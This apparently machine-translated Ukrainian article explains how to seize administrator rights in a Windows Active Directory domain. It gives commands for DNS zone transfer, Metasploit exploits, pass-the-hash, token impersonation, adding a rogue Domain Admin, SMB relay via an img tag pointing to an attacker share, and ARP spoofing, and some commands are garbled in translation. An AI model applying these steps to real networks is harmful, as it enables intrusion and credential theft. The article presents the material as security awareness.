1. Зміст статті
2. Домен. просто домен
3. Мережа
4. розвідка
5. атака
6. HASH і маркери
7. Прості атаки або SMB-RELAY
8. Прості атаки або ARP-SPOOFING
9. баян

Зміст статті

Велика частина всіх корпорацій, компаній і дрібних фірм використовують для побудови корпоративної мережі технологію Aсtive Directory і ОС сімейства Windows. Сьогоднішня стаття буде присвячена простий темі - захоплення прав адміністратора в домені знеособленої корпоративної мережі. Ми, звичайно, поговоримо про уразливість в службах і ОС, але в основному розмова буде про спільні проблеми в архітектурі мережі і проблеми аутентифікації.

Домен. просто домен

Перед тим, як почати, подивимося, що являє собою абстрактна корпоративна мережа. Почнемо з поняття Active Directory. Насправді це служба каталогів, яка зручно зберігає ресурси мережі і їх "властивості". Типу каталогу татусів в ящику, де описано, що за сервера в мережі, що за робочі станції, принтери, які є користувачі, в яких групах вони складаються. Ящик в даному випадку - це сервер (контролер домена), де централізовано зберігається вся ця інформація. Адміністратор контролера домену - цар в корпоративній мережі. Вірніше, він цар тієї її частини, яка складається в домені. Якщо комп'ютер або сервер в ньому не перебуває, то прав у адміністратора на машину немає, так як аутентифікація і авторизація проводиться без участі контролера домену. Однак в більшості випадків майже всі сервери і робочі станції складаються в домені, так як заради цього, власне, домен і піднімається. Зрозуміло, що серверні ОС - це, в більшості своїй, Windows 2000/2003/2008, а рабочки - XP / Vista / 7. Можна набагато докладніше описати, що таке домен і як він працює, але в такому випадку місця на розповідь про слабкі місця практично не залишиться. Для тих, хто хоче почати з основ - раджу статтю в російській Вікіпедії .

Мережа

Як казали в Sun: "Комп'ютер - це мережа", тому розглянемо найпростішу мережу. Найголовніше, як ти вже зрозумів, це контролер домену. Це серце мережі. Контролер відповідає за аутентифікацію, доменні імена машин, політики для серверів і робочих станцій. Тобто за все. Крім основного сервера можуть бути ще машинки, необхідні для організації бізнес-завдань компанії: пошта, терміналкі, бази даних і так далі. Потім йдуть робочі станції. У найпростішому (читай - гіршому) випадку вся ця тусовка розташовується в одному сегменті мережі. Як правило, якщо ми говоримо про невеликі компанії, то так воно і є. У великих компаніях все не так просто: у справу вступають мережеві пристрої, які розбивають мережу на сегменти, пропилюючи дірки з сегмента в сегмент для потрібних протоколів, мереж і серверів. У всьому цьому благополуччі часто буває і Wi-Fi роутер, який дає доступ в мережу для любителів ноутбуків (до речі, саме роутер і стає основною точкою входу в мережу для поганих хлопців, але не він один). Атаки на браузер і плагіни до нього - найпопулярніший спосіб проникнути з інтернету в мережу компанії або банку. Крім усього перерахованого, ще залишаються варіанти з троянами, підключеннями до LAN через погано контрольовані порти і, в кінці-кінців, банальний інсайд. У будь-якому випадку, все це виходить за рамки статті, але розуміти, що безпека домену справа не останнє - все ж необхідно.

розвідка

Будь-яка справа починається з розвідки. Мета зрозуміла - стати адміністратором домену, але по шляху до цієї мети треба виявити критичні точки і ... саму мету. Як же знайти контролер домену самим безшумним шляхом? Згадаймо, що наш чарівний ящик з папками відповідає за імена ресурсів - DNS-імена. Виходячи з цього, очевидно, що на шуканому сервері повинен бути піднятий сервіс доменних імен, тобто відкритий 53-й порт. Але не поспішай запускати nmap. У разі, якщо IP-адреса ми отримуємо по DHCP, то він же нам і розкриє ім'я DNS-сервера, так що просто набери в консолі nslookup і з імовірністю 70% ти отримаєш адресу контролера домену.

Але відразу в лоб Брут паролі від домену, знову ж таки, не рекомендується - потрібно озирнутися і подивитися, хто є навколо. Визначити смачні мети, так би мовити. Варіанта два - ARP-пінг по підмережі і опитування по DNS. ARP-PING це простий спосіб визначити, чи живий комп'ютер з даними IP-адресою чи ні. Нагадаю, що згідно моделі OSI нижче мережевого рівня у нас існує канальний. Саме по цьому рівню фізично визначається, на яку мережеву картку слати пакет. Таким чином, ARP-PING є наступний діалог:

Хакер до ВСІХ: Хлопців, в якому будинку живе Петя Шеллкодов?
Будинок 3 до Хакеру: О, це ж я - Петя Шеллкодов! Чувак, тобі в будинок номер 3!

Іншими словами, відбувається циркулярний запит по протоколу ARP, в рамках якого запитується MAC-адресу того чувака, якому присвоєно шуканий хакером IP-адреса. Варіант дуже швидкий і ефективний. В якості інструментарію рекомендую nmap або Cain & Abel. Але можна і опитати сам домен - мовляв, розкажи, де у тебе що :). Якщо адміністратор домену недостатньо акуратно налаштував DNS, то ми можемо попросити список всіх записів для даного домену. Це називається трансфер зони DNS. Для даної дії досить під'єднатися до DNS сервісу і виконати команду лістингу зони.

З-під вінди це робиться так:

C:> nslookup
Default Server: windomain.domain
Address: 192.168.1.33

ls -d windomain.domain> file.txt

Якщо все в порядку, то у файлі file.txt ти знайдеш імена комп'ютерів і їх IP-адреси. Навіщо це треба? У 80% випадків в імені комп'ютера закладена корисна інформація, зокрема - його призначення (наприклад, для організації атаки "людина посередині" або пошуку SQL-серверів). Якщо зона DNS не віддає, то тоді для отримання імені можна ні перетворювати кожен IP-адреса, який отриманий в результаті ARP-скан (Cain вміє це робити). Цей варіант вимагає часу, але зате він більш точний. Крім імен комп'ютерів добре отримати ще й список користувачів (імена облікових записів) домену. Знову ж таки, якщо адміністратор домену недоробив свою справу, то отримати користувачів можна, приєднавши до контролера домену по так званій нульовій сесії до ресурсу IPC $. Після чого можна попросити віддати список всіх користувачів з коментарями. Ця інформація може виявитися корисною для обчислення адміністраторів домену та інших ключових фігур. Крім того, можна вже починати підбирати облікові записи, де логін користувача такий же, як і пароль :).

До слова, якщо адмін все ж заборонив отримання списку користувачів, ми можемо перебрати його самі. Справа в тому, що кожен користувач має ідентифікатор безпеки (SID). Якщо опитувати домен, підставляючи ці ідентифікатори та інкрементіруем лише значення RID (останні кілька байт SID), то можна отримати список користувачів. Хочу також відзначити, що весь цей функціонал включений до складу Cain & Abel, хоча можна скористатися і оригінальними ТУЛЗ Євгена Рудного (sid2user).

Виділивши ключові сервера і робочі станції, варто їх просканувати. Акуратно і швидко - nmap'ом. При цьому навіть не потрібно скані все порти з визначенням сервісів і ОС - це шумно. Виділяємо ключові порти в залежності від мети: для БД - порти основних БД плюс порти управління (наприклад, radmin), для рабочек - кулі (radmin / vnc). В общем-то, про розвідку можна писати ще багато, на цю тему вийде не одна стаття, але найважливіше я, начебто, описав. Так, і ще - завжди тримай сніфер під рукою, на стадії розвідки він розповість багато. Також тут не згадується про атаки на свічі та маршрутизатори, але просто пам'ятай - вони теж можуть бути слабкою ланкою (дефолтовая паролі / SNMP рядки доступу).

атака

Після розвідки можна вже мочити. Як, коли, кого і чим - залежить від результатів розвідки. Але один з найпростіших варіантів - пробити експлойтів в лоб. При цьому експлойт повинен бути такий, щоб не впустив систему і гарантував доступ :). Як правило, ці сплойти прийшли до нас з кодів черв'яків. Особливо паритися тут не варто - відкривай метасплойт, там уже все є, і виконай пошук:

search ms0 -t great

В результаті ти отримаєш список стабільних сплойтов для нашої улюбленої платформи. З цього списку залишилося тільки вибрати віддалені і спрямовані на служби. Швидше за все, це будуть діти від Conficker і Stuxnet , а саме - ms08-067 і ms10-061 відповідно. Це хороші, перевірені сплойти, не раз давали шелли автору :). Власне, для роботи з ними ніяких знань майже не потрібно. Тільки врахуй, що ms10-061 працює тільки в тому випадку, якщо на атакується комп'ютері готова служба друку, тобто розшарено принтер і у тебе вистачить прав на друк. Тому зручно перед атакою просканіть подсетку на розшарені принтери або пошукати їх по домену - швидше за все, таким чином ти потрапиш на старі, занедбані серваки, непропатченних принт-сервер або робочу станцію. До слова - даний варіант дуже галасливий, і якщо в компанії є мережева IDS, то ти можеш бути виявлений. Звертаю увагу, що IDS так само ловлять в мережі сигнатуру шелла вінди, так що в якості навантаження раджу використовувати meterpreter (він шифрує дані) - автору це допомогло.

Що ж робити, якщо з експлойта йти в бій страшно або все сервера і рабочки пропатчити? Як показує практика, є купа способів отримати шелл без експлойтів. У справу вступають "слабкі паролі". Це часта ситуація: навіть якщо на доменні учеткі паролі і сильні, то пароль на локальну обліковий запис Адміністратора може бути слабким, так як встановлювався він, наприклад, до введення компа в домен і може бути будь-яким. Більш того, такий пароль, як правило, однаковий для всіх локальних адмінських учеток і на інших машинах :).

Все, тільки що сказане, не просто здогадки божевільного, а часте явище в реальних компаніях. Але я хочу сказати про один дуже популярному методі проникнення - через СУБД. Чим більше компанія, тим більше у них СУБД, а чим більше СУБД, тим більше шансів проникнення на ці сервера. І я знову про погані паролі, наприклад в MSSQL 2000 це "sa: sa", а в Oracle 9i - "system: manager". З більш новими БД складніше, але і вони - часті пацієнти. Взагалі вся ця глава присвячена головному завданню - отримати шелл хоч на якомусь компі в домені. Я перерахував найпростіші способи такого отримання (як отримати шелл з БД - це вже поза темою цієї статті, про це багато писалося раніше), які не раз давали автору і його колегам бажаний доступ до системи, але по факту, звичайно, все залежить від конкретної мережі.

HASH і маркери

Захоплення робочої станції або сервера - це вже півсправи. Але що ж далі? Як уже писалося вище, "Комп'ютер - це мережа". Дане правило можна застосувати і для домену. Якщо був захоплений хоч один комп'ютер домену, можна з великою ймовірністю говорити про захоплення всього домену. В чому справа? А справа в довіреної системі, на якій заснована мережа і система безпеки, як на рівні ОС, так і на рівні домену. Отже, що ж робити на захопленому хості в першу чергу? Спочатку найголовніше - зрозуміти свої права. У ряді випадків це буде NT AUTHORITYSYSTEM, в інших - доменний обліковий запис з невеликими правами. Але так чи інакше на першому етапі нам потрібні саме права системи, так що якщо ми їх не маємо, то слід їх отримати. Отримати їх можна, наприклад, прямо з метерпретера, в якому є проста команда getsystem. Даний модуль спробує підняти права в ОС, використовуючи вразливості MS09-012, гучний MS10-015 (KiTrap0D) і не тільки. Однак в більшості випадків бажано, щоб користувач був у групі локальних адмінів - наприклад, щоб імперсоналізіроваться (про це пізніше).

Системні права нам потрібні для того, щоб видерти все найцінніше з надр ОС, а саме NTLM хеши, і список токенов безпеки. Навіщо нам хеші? Щоб Брут їх? Ні. Щоб використовувати їх. Справа в тому, що для аутентифікації в домені дуже часто не потрібен пароль - адже винда не питає пассворд кожен раз, коли ти йдеш на якусь кулі в домені. Реалізовано це за допомогою NTLM Chalenge response аутентифікації. Справа в тому, що для такої аутентифікації знання пароля не потрібно, достатньо тільки значення хеша. Фактично про цю проблему було відомо з середини 90-х, але з роками мало що змінилося. Тому, діставши хеші, ти можеш спокійно ходити по домену з правами користувача. Більш докладно про хешах можна почитати в статті Антона Карпова aka toxa . Я ж розповім про реальну історію захоплення домену.

Був, значить, отриманий доступ до комп'ютера веб-девелопера через SQL-ін'єкцію на його веб-стенді. Сервак був MSSQL, учетка - SA. Відповідно, через xp_cmdshell був закачаний і запущений meterpreter, отриманий повноцінний доступ з правами SYSTEM. Але нічого особливо цінного для захоплення домену на цьому комп'ютері не знайшлося, тому було вилучено хеші учеткі програміста. Як відомо, хеші зберігаються в ОС в багатьох місцях, але найсмачніше - це кеш LSA, який "пам'ятає" хеші останніх користувачів. У будь-якому випадку є ще і SAM-база. Автор радить використовувати утиліти gsecdump і wce, за допомогою яких можна повноцінно дампи потрібні хеші. А з цими хешамі вже лазити по домену, де, до речі, був знайдений принт-сервер. Учетка програміста складалася в групі, яка мала право на друк на одному з принтерів сервера. Використовуємо хеші-учеткі для модуля метасплойта, який експлуатує MS10-061.

ms10_061_spoolss> set SMBUser user
ms10_061_spoolss> set SMBDomain DOMAIN
ms10_061_spoolss> set SMBPass 01010101010101010101010101010101: 01010101010101010101010101010101

Експлойт MS10-061, запущений від імені програміста, дав системний доступ до принт-серверу, де вже були знайдені процеси з токенами адміністратора домену. Виходить ланцюжок атак, яка призводить до захоплення домену.

Отже, ми потрапили на принт-сервер з правами системи, але ми ще не адміни домену, однак я згадав вище про токени. Токен - це об'єкт ОС, який створюється при логоні і дається кожному процесу, запущеного користувачем. Цей токен - ласий шматочок. У нашому випадку адмін домену запустив якісь процеси на принт-сервері, а у нас права системи на цьому ж сервері - відповідно ми маємо привілеї SeImpersonate і можемо спокійно використовувати існуючий токен "делегування" (незважаючи на патч MS09-012, який тут як б нема про що).

Виглядає це досить просто:

meterpreter> use incognito
meterpreter> list_tokens -u
meterpreter> impersonate_token DOMAIN \ admin

Після того, як ми виконали імперсоналізацію, система буде використовувати права вкраденої учеткі. Тобто, ми стали адміном домену. Відповідно, виконуємо:

meterpreter> shell
C: windowssystem32> net user xakep p4sSw_0Rd / ADD / DOMAIN
C: windowssystem32> net group "Domain Admins" xakep / ADD / DOMAIN

Команди здійсняться, і у контролерів домену з'явиться новий адміністратор (до речі, не рекомендую так робити, так як в нормальних компаніях такий користувач відразу буде виявлений). Мораль історії така: будь-яка, навіть найменша дірочка, на самому незначному сервері або рабочкі може привести до захоплення домену, так як "комп'ютер - це мережа" ...

Прості атаки або SMB-RELAY

Попередній (реально існуючий) приклад показав, як отримати права адміністратора, зачепившись за будь-яку машину домену. Тоді нам знадобилися уразливості, але вони не завжди можуть бути присутніми, наприклад, якщо піднятий WSUS і всі хости домена своєчасно отримують оновлення. Проте, буває так, що і без вразливостей можна отримати шелл на сервачке. Частий випадок - через СУБД. Для цього потрібно хоч якась учетка на сервері СУБД.

До речі, згадуючи про gsecdump: він дампи LSA-секрети, в яких дуже часто бувають паролі від БД та іншого добра. У відкритому вигляді. Крім того, у великих компаніях часто є різні ERP-системи, в яких аутентифікація використовує доменні облікові записи і різні паролі за замовчуванням. До того ж, є шанс знайти SQL-ін'єкцію. Загалом, будь-який доступ до БД нам підійде. Ми говоримо про MSSQL, як про найбільш часту СУБД в Microsoft мережах, хоча і Oracle теж зійде.

Другий важливий пункт - процес СУБД повинен бути запущений під доменної обліковим записом, яка складається в групі локальних адмінів для сервера СУБД. Якщо всі ці умови дотримані, то можна виконати атаку SMB-RELAY через виклик збереженої процедури xp_dirtree / xp_fileexist (яка також повинна ще й бути доступна). Як параметр ці процедури беруть шлях до папки / файлу. Суть в тому, що вони розуміють шлях в форматі UNC, тобто можуть звертатися до файлів на віддаленому ресурсі. У разі, якщо ці ресурси вимагають аутентифікацію, то відбувається NTLM chalenge response аутентифікація, з-під якої, використовуючи учетку, запущений процес СУБД. Таким ось чином можна вказати в якості віддаленого ресурсу хост хакера з запущеним модулем SMB-RELAY (є в складі метасплойта). Даний модуль реалізує атаку "людина посередині", перенаправляючи аутентифікацію на інший сервер СУБД (наприклад, на резервний - головне, щоб учетка там мала права локального адміна). Таким чином, сервер згенерує відповідь і відправить його хакеру, який, в свою чергу, передасть його серверу, де розпочато атака. Загалом, класичний "людина посередині". Таким чином хост хакера аутентифицирующей на резервному сервері, закачає туди метерпретер і отримає права учеткі СУБД (так як вона в групі локальних адмінів, то це рівносильно SYSTEM). Навіщо нам другий сервер, адже можна вказати в якості мети той же сервер, звідки був посланий запит (тобто атака з сервера "А" на сервер "А")? Взагалі так, можна, але тільки якщо на сервері "А" не встановлено патч для MS08-068. В іншому випадку потрібно два сервера.

Примітка: автор зауважив, що якщо ми атакуємо кластер, то патч для MS08-068 не працює, тому можна виконувати атаку з Ноди кластера на кластер і ми отримаємо шелл на тій же ноді. Дана уразливість має сенс не тільки в контексті СУБД. Звичайна XSS може дати повноцінний шелл, досить підсунути адміну домену наступний код:

<Img src = "\ attackershara">

У будь-якому випадку, ця проблема не фікс повністю, а тому атаки на основі SMB-RELAY - реальна загроза.

Прості атаки або ARP-SPOOFING

Чи не годі й згадаті и про старий добрий ARP-SPOOFING в контексті Захоплення домену. Атака засновано на флуд ARP-Відповідей для хостів "А" і "Б" з хоста "В". Хосту "А" надсилаються пакети з твердженням, що IP-адреса "Б" належить машині з маком "В". Хосту "Б" надсилаються пакети з твердженням, що IP-адреса "А" належить машині з маком "В". Таким чином всі пакети йдуть на хост "В", який їх потім пересилає за призначенням. Просте опис класичної атаки "людина посередині". Функціонал повністю присутній в Cain & Abel і Ettercap. У контексті попередніх тим можна зробити таке западло: обчислити адміна (трансфер зони DNS), обчислити проксі-сервер або шлюз, влаштувати ARP-SPOOFING і додати в HTML-код пакета відповіді від сервера до адміну (в разі, якщо адмін пішов на будь нибуть веб-сайт) рядок виду <img src = "\ attackershara">. Тобто виконати SMB-RELAY атаку. Для цього потрібно помучитися з Ettercap, але можна поступити і простіше - підняти у себе веб-сервер з SMB-RELAY модулем.

Альо це ще не все. Одного разу ми робили внутрішній пентест невеликий сітки, де всі патчі-перепатчено, і паролі були дуже стійкі, а більше там ламати щось було і нема чого. Так як сітка маленька, то сервера і рабочки були в одному сегменті - радість для будь-якого ARP-флудера. За ДНС був обчислений адмін і сервер терміналів. Почався спуфинг, і тут з'ясувалося, що один з адмінів використовує стару версію протоколу RDP, а як мало кому відомо - протокол версії менше, ніж шоста, вразливий до атаки "людина посередині". Таким чином, Cain розшифрував RDP-трафік адміна на сервер терміналу. А за допомогою тулзи для парсинга логів Cain'а був отриманий пароль адміна домену. Такі от історії ...

баян

У чому сенс цієї статті? Що я хотів сказати? Адже нічого нового розкрито не було - ці атаки, уразливості і фичи були відомі давно (деякі вже навіть протягом десяти років). Просто дещо неможливо повністю виправити - ARPSPOOFING, SMB-RELAY, злодійство Token'ов, HASH-and-PASS і так далі. Ці речі закладені глибоко в архітектуру домену, ОС і мережі, що робить будь-яку помилку на будь-якому незначному хості небезпечною для всього домену.

Принцип "Комп'ютер - це мережа" працює на повну силу. Втративши один комп'ютер, з точки зору безпеки ми можемо втратити всю мережу. Було, звичайно, не розказано багато чого ще: про парольні політики, сегментацію, настройку мережевого обладнання та інше. Але я хотів звернути увагу на те, що будь-які начебто незначні сервера і рабочки - значні, що будь-які уразливості, на кшталт трансферу зони DNS - небезпечні.

Навіть ім'я комп'ютера має свою ціну з точки зору безпеки. Я бачив компанії, де комп'ютери операторів систем банк-клієнт мали імена виду bankclient-1 і були вони в домені, в тому ж сегменті мережі. Нехай патчений, але ж якщо я отримаю учетку домену (через інший хост, скажімо, через принт-сервер), то потім повернуся на bankclient-1 і буду там господарем. Так що наша з тобою завдання - грамотно побудувати мережу і усунути в ній слабкі ланки ...